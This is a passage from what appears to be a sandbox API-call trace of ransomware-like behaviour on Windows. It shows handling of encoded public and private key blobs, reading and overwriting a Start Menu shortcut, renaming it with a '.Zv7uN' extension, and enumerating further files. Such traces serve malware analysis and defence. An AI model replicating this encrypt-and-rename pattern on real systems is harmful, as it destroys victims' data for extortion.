qThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0132.516] GetCurrentThreadId () returned 0xa30 [0132.516] GetCurrentThreadId () returned 0xa30 [0132.517] GetCurrentThreadId () returned 0xa30 [0132.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.517] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.517] GetCurrentThreadId () returned 0xa30 [0132.517] GetCurrentThreadId () returned 0xa30 [0132.517] GetCurrentThreadId () returned 0xa30 [0132.518] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.518] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.518] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.518] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x50e [0132.518] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.518] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x50e, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x50e, lpOverlapped=0x0) returned 1 [0132.522] CloseHandle (hObject=0x1e8) returned 1 [0132.522] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.525] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x50e, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x50e, lpOverlapped=0x0) returned 1 [0132.527] CloseHandle (hObject=0x1e8) returned 1 [0132.527] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk.zv7un")) returned 1 [0132.529] GetCurrentThreadId () returned 0xa30 [0132.529] GetCurrentThreadId () returned 0xa30 [0132.529] GetCurrentThreadId () returned 0xa30 [0132.529] GetCurrentThreadId () returned 0xa30 [0132.529] GetCurrentThreadId () returned 0xa30 [0132.529] GetCurrentThreadId () returned 0xa30 [0132.529] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x154b7022, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Data Sources (ODBC).lnk", cAlternateFileName="DATASO~1.LNK")) returned 1 [0132.529] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.529] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.529] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x154b7022, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6)) returned 1 [0132.530] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\data sources (odbc).lnk")) returned 0x20 [0132.530] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk", dwFileAttributes=0x80) returned 1 [0132.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.533] GetCurrentThreadId () returned 0xa30 [0132.533] GetCurrentThreadId () returned 0xa30 [0132.533] GetCurrentThreadId () returned 0xa30 [0132.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.534] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 